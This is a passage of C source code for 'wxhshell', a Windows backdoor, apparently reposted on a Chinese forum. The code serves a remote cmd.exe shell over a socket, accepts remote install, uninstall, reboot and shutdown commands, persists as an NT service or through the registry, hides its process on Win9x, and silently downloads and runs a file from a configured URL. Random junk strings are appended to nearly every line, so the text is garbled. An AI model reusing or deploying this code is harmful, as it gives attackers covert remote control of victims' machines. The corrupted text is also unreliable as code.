  else { =!DX,S7  
[So1`IA6  
    switch(cmd[0]) { n>,GmCo  
  Yx,E5}-  
  // 帮助 =mX26l`B  
  case '?': { R<I#. KD  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >Mh\jt\  
    break; fp(zd;BSQ  
  } $;(@0UDE  
  // 安装 ab9ecZ  
  case 'i': { Y|wjt\M  
    if(Install()) trjpq{,[U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  /s^42  
    else &:ZR% f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YH+(N  
    break; Uu*iL< `  
    } &Qv HjjQ?u  
  // 卸载 (#6Fg|f4Y  
  case 'r': { aeNbZpFQ  
    if(Uninstall()) c zT2f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o+8H:7,o'  
    else 4P5^.\.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vP#*if[V5  
    break; B R  
    } !#%>,X#+  
  // 显示 wxhshell 所在路径 }8YY8|]LI  
  case 'p': { / ~".GZ&29  
    char svExeFile[MAX_PATH]; <-' !I&  
    strcpy(svExeFile,"\n\r"); s8's(*]  
      strcat(svExeFile,ExeFile); )2l @%?9  
        send(wsh,svExeFile,strlen(svExeFile),0); Y j bp:  
    break; ,) dlL tUm  
    } /zXOta G  
  // 重启 nC[aEZ7  
  case 'b': { /9gn)q2f(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8PVjNS/  
    if(Boot(REBOOT)) !U}2YM J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f34/whD65  
    else { (f_YgQEL  
    closesocket(wsh); | @ ut/  
    ExitThread(0); ?[.8A/:5  
    } 3O-vO=D  
    break; nql9SQ'\\  
    } oR~d<^z(  
  // 关机 K/Pw;{}  
  case 'd': { xDl; tFI  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &uc`w{,Zs  
    if(Boot(SHUTDOWN)) dG0zA D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k18v{)i~  
    else { JF~9efWe>  
    closesocket(wsh); 6jBi?>[I  
    ExitThread(0); =NY55t.  
    } |/xx**?  
    break; uh.;Jj;  
    } U/A iI;Ne  
  // 获取shell 'ZI8nMY  
  case 's': { _x""-X~OL  
    CmdShell(wsh); }ssja,;  
    closesocket(wsh); }6.@  
    ExitThread(0); Ua:@,};  
    break; }.'rhR+  
  } >`WfY(Lq  
  // 退出 R@pY+d9qp  
  case 'x': { <'UGYY\wg0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {PxFG<^U  
    CloseIt(wsh); ]&P\|b1*g  
    break; {K"hlu[  
    } H"UJBO>$  
  // 离开 VJTO:}Q  
  case 'q': { uY>M3h#qx  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ZB)R4  
    closesocket(wsh); `) cH(Rj  
    WSACleanup(); iSoQ1#MP)2  
    exit(1); XKws_  
    break; u;t~ z  
        } Z|x|8 !D  
  } 573,b7Yf  
  } /RqWrpzx@  
}Md;=_TP  
  // 提示信息 -@_v@]:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R)*DkL!  
} -L]-u6kC[  
  } 1|"BpX~D  
OqciZ@#5n  
  return; x>##qYT  
} j-R*!i  
y2jw3R  
// shell模块句柄  3TCRCz  
int CmdShell(SOCKET sock) ,>b>I#{  
{ *IWW,@0  
STARTUPINFO si; WG6 0  
ZeroMemory(&si,sizeof(si)); 2YKa <?_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7M7Ir\d0lp  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; IKP GqoM  
PROCESS_INFORMATION ProcessInfo; S:}"gwFM  
char cmdline[]="cmd"; &*7KQd  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6MY<6t0a  
  return 0; Y2 J-`o$5  
} vaP`'  
MA:5'n  
// 自身启动模式 /; Bmh=  
int StartFromService(void) UsFn!!+  
{ o.fqJfpj  
typedef struct m Rw0R{  
{ ~I+MuI[  
  DWORD ExitStatus; s^eiym P  
  DWORD PebBaseAddress; YcDKRyrt  
  DWORD AffinityMask; }kr?+)wB  
  DWORD BasePriority; f4Y)GO<R]  
  ULONG UniqueProcessId; HW~-GcU-o  
  ULONG InheritedFromUniqueProcessId; qT(6TP  
}   PROCESS_BASIC_INFORMATION; P][jB  
uz{RV_IX7  
PROCNTQSIP NtQueryInformationProcess; RfTGTz@H  
7g"u)L&32  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^O+(eA7E  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [F-GaaM  
;T WLo_  
  HANDLE             hProcess; 3rKJ<(-2/  
  PROCESS_BASIC_INFORMATION pbi; ]'(D*4  
n:`f.jG |  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [ C0v -  
  if(NULL == hInst ) return 0; 7LVG0A2>7  
<OGG(dI  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); If,p!L  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Q7XOO3<):  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); wTa u.Bo  
]n|Jc_Y  
  if (!NtQueryInformationProcess) return 0; m:?"|.]  
(XVBH 1p"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); oXnaL)Rk  
  if(!hProcess) return 0; eyyME c!  
'{jr9Vh  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; f2;.He  
_i+@HXR &  
  CloseHandle(hProcess); 8;DDCop 8L  
MHK|\Z&e7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); y')OmR2h  
if(hProcess==NULL) return 0; ,u2Qkw  
P Y^#hC5:  
HMODULE hMod; ^HJ?k:u  
char procName[255]; WrGnLE kiV  
unsigned long cbNeeded; Mq Ai}z%  
vW=L{8zu  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2Ckx.m&  
H TOr  
  CloseHandle(hProcess); &2`p#riAS  
I} jgz  
if(strstr(procName,"services")) return 1; // 以服务启动 3@gsKtA&H4  
V|_ h[hXE  
  return 0; // 注册表启动 O[C4xq  
} ^E.L8  
!o /=,ZIx  
// 主模块 Eu`|8# [ W  
int StartWxhshell(LPSTR lpCmdLine) r!2U#rz  
{ w]0@V}}u$o  
  SOCKET wsl; [Vo5$w  
BOOL val=TRUE; V9<`?[Usv  
  int port=0; RPW46l34  
  struct sockaddr_in door; h <LFTYE@  
E7MSoBX9M  
  if(wscfg.ws_autoins) Install(); Fye>H6MU  
;ItH2Lw<&  
port=atoi(lpCmdLine); K"0IWA  
 ;v:(  
if(port<=0) port=wscfg.ws_port; P"Al*{:J  
q#W|fkfx+  
  WSADATA data; hWT jN  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; w*ans}P7  
wfmM`4Y   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Cf2WBX$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \EySKQ=  
  door.sin_family = AF_INET; C 1k< P  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =:^aBN#  
  door.sin_port = htons(port); ?q:|vt  
3=YpZ\l}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { __g k:a>oQ  
closesocket(wsl); -r={P _E6  
return 1; X/,) KTo7  
} }4A] x`3  
qSc-V`*  
  if(listen(wsl,2) == INVALID_SOCKET) { vQljxRtW  
closesocket(wsl); 7 $e6H|j@  
return 1; B{nwQC b  
} >qmCjY1  
  Wxhshell(wsl); Qn!mS[l  
  WSACleanup(); lT|Gkm<G  
K*>%,mP$i  
return 0; VVas>/0qr  
5qb93E"C  
} {]T?)!V m  
@Vre)OrN#  
// 以NT服务方式启动 0<uek  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <q'l7 S  
{ {%R^8  
DWORD   status = 0; 8:,($a/KF  
  DWORD   specificError = 0xfffffff; kFn/dQ4|  
V*giF`gq  
  serviceStatus.dwServiceType     = SERVICE_WIN32; s?w2^<P  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1xB}Ed*k  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [eX]x  
  serviceStatus.dwWin32ExitCode     = 0; rAH!%~  
  serviceStatus.dwServiceSpecificExitCode = 0; ("9bV8:@B  
  serviceStatus.dwCheckPoint       = 0; yQK{ +w  
  serviceStatus.dwWaitHint       = 0; tVAi0`DV  
&lQ%;)'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4)S99|1  
  if (hServiceStatusHandle==0) return; zjpZ] $  
:ky`)F`  
status = GetLastError(); 0MWW( ;  
  if (status!=NO_ERROR) !T{+s T  
{ QyD0WC}i  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 'hpOpIsHa  
    serviceStatus.dwCheckPoint       = 0; +%JBr+1#\  
    serviceStatus.dwWaitHint       = 0; 5=pE*ETJ  
    serviceStatus.dwWin32ExitCode     = status; Q^(CqQo!<  
    serviceStatus.dwServiceSpecificExitCode = specificError; kxMvOB$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); paqGW]  
    return; *N">93:  
  } =;rLv7(a  
d$ o m\@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; t{UWb~"  
  serviceStatus.dwCheckPoint       = 0; dH0>lV  
  serviceStatus.dwWaitHint       = 0; )/f#~$ws  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); W|{!0w  
} f-^*p  
Uf_mwEE  
// 处理NT服务事件,比如:启动、停止 ^xk4HF   
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;s~xS*(C  
{ ZwxEcs+UM  
switch(fdwControl) OWz{WV.  
{ p\I3fI0i  
case SERVICE_CONTROL_STOP: U(+QrC:  
  serviceStatus.dwWin32ExitCode = 0; ph)=:*A6&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !1S!)#  
  serviceStatus.dwCheckPoint   = 0; Y#):1C1  
  serviceStatus.dwWaitHint     = 0; fFC9:9<  
  { V@LBy1z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |CQjgI|;  
  } 6}@T^?  
  return; UCmJQJc  
case SERVICE_CONTROL_PAUSE: B4*,]lS?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Ts, U T L  
  break; 0n X5Vo  
case SERVICE_CONTROL_CONTINUE: 6qV1_M#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~K)FuL[*  
  break; s%#u)nw19  
case SERVICE_CONTROL_INTERROGATE: ;=%cA#}_0  
  break; ]ml'd  
}; FME,W&_d  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); MC-Z6l2  
} {>64-bU  
5y='1s[%  
// 标准应用程序主函数 y]i} j,e0L  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) u<n['Ur}|  
{ W#d'SL#5  
[vBP,_Tjx  
// 获取操作系统版本 f[`&3+  
OsIsNt=GetOsVer(); ~6u|@pnI  
GetModuleFileName(NULL,ExeFile,MAX_PATH); cWQ &zc  
;eFV}DWW  
  // 从命令行安装 zb~;<:<  
  if(strpbrk(lpCmdLine,"iI")) Install(); T z:,l$  
.1h\r, #  
  // 下载执行文件 _MQh<,Z8  
if(wscfg.ws_downexe) { Vl(id_~_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) S"+#=C  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^eV  K.  
} }f{5-iwD}  
s)'+,lKw  
if(!OsIsNt) { "FE%k>aV@v  
// 如果时win9x,隐藏进程并且设置为注册表启动 f/kYm\Zc  
HideProc(); #~rQ\A!4  
StartWxhshell(lpCmdLine); ,o `tRh<  
} ,rY}IwM w  
else HA$7Q~{N-t  
  if(StartFromService()) RU.MJ kYQ5  
  // 以服务方式启动 >Ir?)h  
  StartServiceCtrlDispatcher(DispatchTable); (t"|XSF  
else Vw.4;Zy(  
  // 普通方式启动 FAGi`X<L  
  StartWxhshell(lpCmdLine); &"1_n]JO  
ls "Z4v(L6  
return 0; iF:NDqc  
}
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只看该作者 1 发表于: 2006-10-10
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